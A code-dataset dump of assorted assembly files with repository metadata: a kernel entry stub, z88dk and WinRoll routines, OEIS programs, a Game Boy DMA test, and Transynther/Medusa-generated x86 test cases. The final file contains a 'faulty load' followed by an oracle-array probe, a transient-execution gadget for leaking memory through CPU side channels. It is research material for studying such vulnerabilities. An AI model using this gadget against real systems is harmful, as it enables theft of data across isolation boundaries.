{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 35.244681 | 2,999 | 0.65243 |
23c3900880404f5c9c3e93fdcece6656c151afa3 | 365 | asm | Assembly | src/init.asm | MrKomish/PYROS | bb8735d52356931aa72c1ef663526a9ccdadbf00 | [
"MIT"
] | 5 | 2018-12-29T18:46:08.000Z | 2020-07-14T13:26:04.000Z | src/init.asm | MrKomish/PYROS | bb8735d52356931aa72c1ef663526a9ccdadbf00 | [
"MIT"
] | 1 | 2019-01-29T21:16:15.000Z | 2019-01-29T21:16:15.000Z | src/init.asm | MrKomish/PYROS | bb8735d52356931aa72c1ef663526a9ccdadbf00 | [
"MIT"
] | null | null | null | global kenter
global kexit
extern gdt_init
extern kmain
KERNEL_STACK_SIZE equ 4096
section .text
bits 32
align 4
kenter:
mov esp, kstack_top
push edx
push ebx
call kmain
hang:
jmp hang
kexit:
cli ; Disable CPU interrupts
hlt ; Halt the CPU
jmp hang
section .bss
align 4
kstack_bottom:
resb KERNEL_STACK_SIZE
kstack_top:
| 10.428571 | 36 | 0.709589 |
7fb9a5a85c73a510189fb31d94c38438f4e581fe | 170 | asm | Assembly | libsrc/_DEVELOPMENT/adt/bv_stack/c/sccz80/bv_stack_pop.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_stack/c/sccz80/bv_stack_pop.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_stack/c/sccz80/bv_stack_pop.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; int bv_stack_pop(bv_stack_t *s)
SECTION code_adt_bv_stack
PUBLIC bv_stack_pop
defc bv_stack_pop = asm_bv_stack_pop
INCLUDE "adt/bv_stack/z80/asm_bv_stack_pop.asm"
| 15.454545 | 47 | 0.823529 |
bc7ca680b26a0bdc1a7dac78412b54834bdeac5e | 7,226 | asm | Assembly | winprop.asm | saccohuo/winroll | ab7e3fafac3c9d8946fa8ca8c7c2cf1656d8c410 | [
"Zlib"
] | 3 | 2018-11-28T06:57:21.000Z | 2020-09-18T05:55:23.000Z | winprop.asm | saccohuo/winroll | ab7e3fafac3c9d8946fa8ca8c7c2cf1656d8c410 | [
"Zlib"
] | null | null | null | winprop.asm | saccohuo/winroll | ab7e3fafac3c9d8946fa8ca8c7c2cf1656d8c410 | [
"Zlib"
] | 2 | 2019-11-21T14:32:46.000Z | 2021-12-16T05:39:08.000Z | ;-------------------------------------------------------------------------------
;
; WinRoll 2.0 - WinRoll easily manages multiple open windows.
; Copyright (C) 2003-2004 Wil Palma <wilpalma@hotmail.com>
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
;
;-------------------------------------------------------------------------------
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
;include \masm32\include\masm32.inc
;include \masm32\include\debug.inc
;includelib \masm32\lib\masm32.lib
;includelib \masm32\lib\debug.lib
;DBGWIN_DEBUG_ON = 1 ; include debug info into the program
;DBGWIN_EXT_INFO = 0 ; include extra debug info into the program
FindWinNode proto :DWORD
GetWinHeight proto :DWORD
GetWinProc proto :DWORD
GetWinAlpha proto :DWORD
GetWinTray proto :DWORD
SetWinHeight proto :DWORD, :DWORD
SetWinProc proto :DWORD, :DWORD
SetWinAlpha proto :DWORD, :DWORD
SetWinTray proto :DWORD, :DWORD
RemoveWinHeight proto :DWORD
RemoveWinProc proto :DWORD
RemoveWinAlpha proto :DWORD
RemoveWinTray proto :DWORD
.const
szWinHeight db "wrWinHeight",0
szMsgProc db "wrMsgProc",0
szWinAlpha db "wrWinAlpha",0
szWinTray db "wrWinTray",0
WR_LISTSIZE equ 8
WR_LISTNODE STRUC
hWnd DWORD ?
Height DWORD ?
WR_LISTNODE ENDS
.data
WR_NodeList WR_LISTNODE WR_LISTSIZE dup (<0>)
.code
;-------------------------------------------------------------------------------
FindWinNode proc uses ebx hWnd:DWORD
; window not found, return zero
xor eax, eax
mov ebx, offset WR_NodeList
mov ecx, WR_LISTSIZE
.while ecx > 0
mov edx, (WR_LISTNODE PTR [ebx]).hWnd
.if edx == hWnd
; window found, return pointer
mov eax, ebx
.break
.endif
add ebx, sizeof WR_LISTNODE
sub ecx, 1
.endw
; return node pointer or zero
ret
FindWinNode endp
;-------------------------------------------------------------------------------
GetWinHeight proc hWnd:DWORD
; attempt to get a window property
invoke GetProp, hWnd, addr szWinHeight
.if eax == 0
; else find an existing window node
invoke FindWinNode, hWnd
; if a window node is found get property
.if eax != 0
mov edx, eax
mov eax, (WR_LISTNODE PTR [edx]).Height
.endif
.endif
; return height or zero
ret
GetWinHeight endp
;-------------------------------------------------------------------------------
GetWinProc proc hWnd:DWORD
; attempt to get a window property
invoke GetProp, hWnd, addr szMsgProc
; return msg proc or zero
ret
GetWinProc endp
;-------------------------------------------------------------------------------
GetWinAlpha proc hWnd:DWORD
; attempt to get a window property
invoke GetProp, hWnd, addr szWinAlpha
; return alpha or zero
ret
GetWinAlpha endp
;-------------------------------------------------------------------------------
GetWinTray proc hWnd:DWORD
; attempt to get a window property
invoke GetProp, hWnd, addr szWinTray
; return tray flag or zero
ret
GetWinTray endp
;-------------------------------------------------------------------------------
SetWinHeight proc hWnd:DWORD, dwHeight:DWORD
; attempt to save to a window property
invoke SetProp, hWnd, addr szWinHeight, dwHeight
.if eax == 0
; else find an existing window node
invoke FindWinNode, hWnd
.if eax == 0
; else find an empty window node
invoke FindWinNode, 0
.endif
; if a window node is found store property
.if eax != 0
mov edx, eax
mov eax, hWnd
mov (WR_LISTNODE PTR [edx]).hWnd, eax
mov eax, dwHeight
mov (WR_LISTNODE PTR [edx]).Height, eax
.endif
.endif
; return non zero value if height is set
ret
SetWinHeight endp
;-------------------------------------------------------------------------------
SetWinProc proc hWnd:DWORD, lpMsgProc:DWORD
; attempt to save to a window property
invoke SetProp, hWnd, addr szMsgProc, lpMsgProc
; return non zero value if msg proc is set
ret
SetWinProc endp
;-------------------------------------------------------------------------------
SetWinAlpha proc hWnd:DWORD, dwAlpha:DWORD
; attempt to save to a window property
invoke SetProp, hWnd, addr szWinAlpha, dwAlpha
; return non zero value if alpha is set
ret
SetWinAlpha endp
;-------------------------------------------------------------------------------
SetWinTray proc hWnd:DWORD, dwTray:DWORD
; attempt to save to a window property
invoke SetProp, hWnd, addr szWinTray, dwTray
; return non zero value if tray flag is set
ret
SetWinTray endp
;-------------------------------------------------------------------------------
RemoveWinHeight proc hWnd:DWORD
; attempt to remove a window property
invoke RemoveProp, hWnd, addr szWinHeight
.if eax == 0
; else find an existing window node
invoke FindWinNode, hWnd
; if a window node is found remove property
.if eax != 0
mov edx, eax
mov (WR_LISTNODE PTR [edx]).hWnd, 0
mov eax, (WR_LISTNODE PTR [edx]).Height
mov (WR_LISTNODE PTR [edx]).Height, 0
.endif
.endif
; return height or zero
ret
RemoveWinHeight endp
;-------------------------------------------------------------------------------
RemoveWinProc proc hWnd:DWORD
; attempt to remove a window property
invoke RemoveProp, hWnd, addr szMsgProc
; return msg proc or zero
ret
RemoveWinProc endp
;-------------------------------------------------------------------------------
RemoveWinAlpha proc hWnd:DWORD
; attempt to remove a window property
invoke RemoveProp, hWnd, addr szWinAlpha
; return alpha or zero
ret
RemoveWinAlpha endp
;-------------------------------------------------------------------------------
RemoveWinTray proc hWnd:DWORD
; attempt to remove a window property
invoke RemoveProp, hWnd, addr szWinTray
; return tray flag or zero
ret
RemoveWinTray endp
;-------------------------------------------------------------------------------
end
| 30.361345 | 80 | 0.559646 |
5f2f3a2db1b73e8a9b740ae2803feddcfce6fe74 | 721 | asm | Assembly | oeis/166/A166849.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/166/A166849.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/166/A166849.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A166849: Primes with digital root 1, 2, 4 or 8.
; Submitted by Jon Maiga
; 2,11,13,17,19,29,31,37,47,53,67,71,73,83,89,101,103,107,109,127,137,139,157,163,173,179,181,191,193,197,199,211,227,229,233,251,263,269,271,281,283,307,317,337,353,359,373,379,389,397,409,431,433,443,449,461,463,467,479,487,499,503,521,523,541,557,569,571,577,587,593,607,613,631,641,643,647,659,661,677,683,701,719,733,739,751,757,769,773,787,809,811,821,823,827,829,839,857,859,863
mov $1,2
mov $2,332202
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,9
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
div $5,6
mov $6,$5
lpe
mov $0,$5
add $0,1
| 31.347826 | 385 | 0.665742 |
834986237ab92e4a7a1719ae8ca71b9b219ee162 | 2,155 | asm | Assembly | dma/hdma_valid_sources/main.asm | AntonioND/gbc-hw-tests | 631e60000c885154a8526df0b148847f9c34ce42 | [
"MIT"
] | 6 | 2018-07-21T12:11:21.000Z | 2021-07-23T16:32:47.000Z | dma/hdma_valid_sources/main.asm | PMArkive/gbc-hw-tests | 631e60000c885154a8526df0b148847f9c34ce42 | [
"MIT"
] | null | null | null | dma/hdma_valid_sources/main.asm | PMArkive/gbc-hw-tests | 631e60000c885154a8526df0b148847f9c34ce42 | [
"MIT"
] | 3 | 2016-04-26T07:45:34.000Z | 2018-12-30T05:45:14.000Z |
INCLUDE "hardware.inc"
INCLUDE "header.inc"
SET_VALUES: MACRO
db \1,\1+1,\1+2,\1+3,\1+4,\1+5,\1+6,\1+7,\1+8,\1+9,\1+10,\1+11,\1+12,\1+13,\1+14,\1+15
ENDM
; $C000 4000 A000
; $FE00 7E00 BE00
; $FEA0 7EA0 BEA0
; $FFE0 7FE0 BFE0
SECTION "11",HOME[$0000]
SET_VALUES 0
SECTION "22",ROMX[$4000],BANK[1]
SET_VALUES 1
SECTION "33",ROMX[$7E00],BANK[1]
SET_VALUES 2
SECTION "44",ROMX[$7EA0],BANK[1]
SET_VALUES 3
SECTION "55",ROMX[$7FE0],BANK[1]
SET_VALUES 4
SECTION "Main",HOME
;--------------------------------------------------------------------------
mem_prepare: ; a = starting value, hl = ptr
ld b,16
.continue:
ld [hl+],a
inc a
dec b
jr nz,.continue
ret
;--------------------------------------------------------------------------
;- Main() -
;--------------------------------------------------------------------------
Main:
di
ld a,$0A
ld [$0000],a ; enable ram
ld a,5
ld hl,$8000
call mem_prepare
ld a,6
ld hl,$A000
call mem_prepare
ld a,7
ld hl,$BE00
call mem_prepare
ld a,8
ld hl,$BEA0
call mem_prepare
ld a,9
ld hl,$BFE0
call mem_prepare
ld a,10
ld hl,$C000
call mem_prepare
ld a,11
ld hl,$FE00
call mem_prepare
ld a,12
ld hl,$FEA0
call mem_prepare
ld a,13
ld hl,$FFE0
call mem_prepare
; -------------------------------------------------------
DMA_COPY $0000,$9000,16,0
DMA_COPY $4000,$9010,16,0
DMA_COPY $8000,$9020,16,0
DMA_COPY $A000,$9030,16,0
DMA_COPY $C000,$9040,16,0
DMA_COPY $E000,$9050,16,0
DMA_COPY $FE00,$9060,16,0
DMA_COPY $FEA0,$9070,16,0
DMA_COPY $FFE0,$9080,16,0
; -------------------------------------------------------
ld d,0
ld bc,$90
ld hl,$A000
call memset
ld bc,$90
ld hl,$9000
ld de,$A000
call memcopy
ld h,d ; get ending ptr
ld l,e
; -------------------------------------------------------
push hl ; magic number
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
pop hl
; -------------------------------------------------------
ld a,$00
ld [$0000],a ; disable ram
.endloop:
halt
jr .endloop
| 15.283688 | 87 | 0.472854 |
c7e0ad33f2a7b27b41b22359364b2f04e5cc690f | 1,639 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zxn/version/z80/check_version_core.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/zxn/version/z80/check_version_core.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/zxn/version/z80/check_version_core.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; ===============================================================
; 2018
; ===============================================================
;
; unsigned char check_version_core(uint16_t cv)
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_arch
PUBLIC asm_check_version_core
EXTERN error_znc, error_mc
asm_check_version_core:
; check if hardware core version >= cv
;
; enter : hl = uint16_t cv
; = MmSS (major, minor, sub) in hexadecimal
; v 1.10.51 would be 0x1a33
;
; exit : success if minimum core version met
;
; hl = 0, carry reset
;
; fail if minimum core version not met
;
; hl = -1, carry set
;
; uses : af, bc, e, hl
; check for emulator
ld bc,__IO_NEXTREG_REG
ld a,__REG_MACHINE_ID
out (c),a
inc b
in a,(c)
cp __RMI_EMULATORS
jp z, error_znc ; pass if emulator
; check core version
dec b
; hl = MmSS
; bc = IO_NEXTREG_REG
ld e,__REG_VERSION
out (c),e
inc b
in e,(c) ; e = core version major minor
ld a,h
cp e
jp c, error_znc ; pass if minimum < core version
jp nz, error_mc ; fail if minimum > core version
; check core sub version
dec b
ld a,__REG_SUB_VERSION
out (c),a
inc b
in a,(c) ; a = core sub version
cp l
jp c, error_mc ; fail if core sub version < minimum
jp error_znc ; pass
| 20.234568 | 67 | 0.463697 |
4eb5d911ada32a6ec72e5c42545914fd4ee6c4ac | 1,290 | asm | Assembly | os/isr.asm | ceharris/sbz80 | b5b6cbc8fb631e0703b15b0701d66e527bbf9ef7 | [
"Apache-2.0"
] | null | null | null | os/isr.asm | ceharris/sbz80 | b5b6cbc8fb631e0703b15b0701d66e527bbf9ef7 | [
"Apache-2.0"
] | null | null | null | os/isr.asm | ceharris/sbz80 | b5b6cbc8fb631e0703b15b0701d66e527bbf9ef7 | [
"Apache-2.0"
] | null | null | null |
;--------------------------------------------------------------
; Interrupt vector definitions
;
; The number of vectors defined here must not exceed the size
; of the vector table specified in sysvar.asm.
;--------------------------------------------------------------
isr_ctc0_ch0 .equ 0
isr_ctc0_ch1 .equ 2
isr_ctc0_ch2 .equ 4
isr_ctc0_ch3 .equ 6 ; timer tick
isr_pio0_a .equ 8 ; keyboard input
isr_pio0_b .equ 10
isr_pio1_a .equ 12
isr_pio1_b .equ 14
isr_sio0_b_txrdy .equ 16 ; port B transmit ready
isr_sio0_b_status .equ 18 ; port B status change
isr_sio0_b_rxrdy .equ 20 ; port B receiver ready
isr_sio0_b_error .equ 22 ; port B error condition
isr_sio0_a_txrdy .equ 24 ; port A transmit ready
isr_sio0_a_status .equ 26 ; port A status change
isr_sio0_a_rxrdy .equ 28 ; port A receiver ready
isr_sio0_a_error .equ 30 ; port A error condition
; if adding more vectors, be sure to resize vector table in memory.asm
| 39.090909 | 72 | 0.484496 |
55ca69e53cf53d31614eb49fa1119b20cc0d8d5c | 470 | asm | Assembly | data/pokemon/base_stats/sinnoh/honchkrow.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/sinnoh/honchkrow.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/sinnoh/honchkrow.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | db 0 ; 430 DEX NO
db 100, 125, 52, 71, 105, 52
; hp atk def spd sat sdf
db DARK, FLYING ; type
db 30 ; catch rate
db 187 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sinnoh/honchkrow/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_FLYING, EGG_FLYING ; egg groups
; tm/hm learnset
tmhm
; end
| 21.363636 | 55 | 0.668085 |
922a5b44145d03f0ec1cb6a986615775e930ef6a | 663 | asm | Assembly | oeis/027/A027961.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/027/A027961.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/027/A027961.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A027961: a(n) = Lucas(n+2) - 3.
; Submitted by Jamie Morken(s3)
; 1,4,8,15,26,44,73,120,196,319,518,840,1361,2204,3568,5775,9346,15124,24473,39600,64076,103679,167758,271440,439201,710644,1149848,1860495,3010346,4870844,7881193,12752040,20633236,33385279,54018518,87403800,141422321,228826124,370248448,599074575,969323026,1568397604,2537720633,4106118240,6643838876,10749957119,17393795998,28143753120,45537549121,73681302244,119218851368,192900153615,312119004986,505019158604,817138163593,1322157322200,2139295485796,3461452807999,5600748293798,9062201101800
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
add $3,3
lpe
add $3,$2
mov $0,$3
| 44.2 | 497 | 0.790347 |
70195374956d2199096988a3329b4aae2ea5a09a | 8,101 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_3014.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_3014.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_3014.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xb2c, %r15
clflush (%r15)
nop
nop
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm5
movups %xmm5, (%r15)
cmp $34224, %r13
lea addresses_WT_ht+0xccae, %rsi
lea addresses_D_ht+0x7bcc, %rdi
nop
nop
inc %rbx
mov $62, %rcx
rep movsl
nop
nop
xor $25003, %rdi
lea addresses_WC_ht+0xa3cc, %rsi
lea addresses_WT_ht+0xb51c, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add %rax, %rax
mov $119, %rcx
rep movsl
nop
nop
cmp $22721, %rdi
lea addresses_A_ht+0xe90c, %rsi
lea addresses_normal_ht+0x19ccc, %rdi
nop
nop
dec %rbx
mov $103, %rcx
rep movsb
nop
nop
and $59694, %rcx
lea addresses_A_ht+0x14060, %rsi
lea addresses_WT_ht+0x1d3cc, %rdi
nop
and $29405, %rbp
mov $20, %rcx
rep movsq
and $11936, %r13
lea addresses_normal_ht+0xe0c, %r15
nop
nop
nop
nop
xor %r13, %r13
movw $0x6162, (%r15)
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_A_ht+0x1cecc, %rsi
lea addresses_normal_ht+0x13cc, %rdi
nop
nop
nop
nop
sub $25810, %r15
mov $6, %rcx
rep movsb
nop
cmp $27466, %rcx
lea addresses_WT_ht+0x7e30, %rbx
nop
nop
nop
nop
sub %rcx, %rcx
mov (%rbx), %rsi
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_WC_ht+0x1347c, %rbp
nop
nop
nop
nop
inc %rdi
mov (%rbp), %esi
nop
nop
nop
nop
and $37370, %rbp
lea addresses_UC_ht+0x18d03, %rsi
lea addresses_D_ht+0x1a76a, %rdi
nop
nop
nop
nop
xor $30368, %r15
mov $56, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %rbp
push %rdi
push %rdx
push %rsi
// Store
lea addresses_PSE+0x1585c, %rbp
and %r14, %r14
movl $0x51525354, (%rbp)
nop
nop
nop
nop
sub $34241, %r14
// Store
lea addresses_D+0x43cc, %rdi
nop
nop
xor $12567, %r14
mov $0x5152535455565758, %rbp
movq %rbp, %xmm2
movups %xmm2, (%rdi)
nop
sub $39881, %r14
// Store
lea addresses_D+0x3bcc, %r14
add %r15, %r15
mov $0x5152535455565758, %rsi
movq %rsi, (%r14)
dec %r15
// Store
lea addresses_WC+0x91cc, %rsi
clflush (%rsi)
add %r15, %r15
mov $0x5152535455565758, %rdx
movq %rdx, (%rsi)
nop
nop
nop
nop
sub $5094, %r11
// Load
lea addresses_PSE+0x11461, %r14
nop
nop
nop
inc %rsi
mov (%r14), %di
nop
nop
nop
nop
nop
dec %rdx
// Load
lea addresses_RW+0x1778c, %r11
nop
and $13470, %rbp
mov (%r11), %edx
nop
add $35998, %r11
// Faulty Load
lea addresses_D+0x43cc, %r14
add $27923, %rbp
mov (%r14), %r11
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %rbp
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
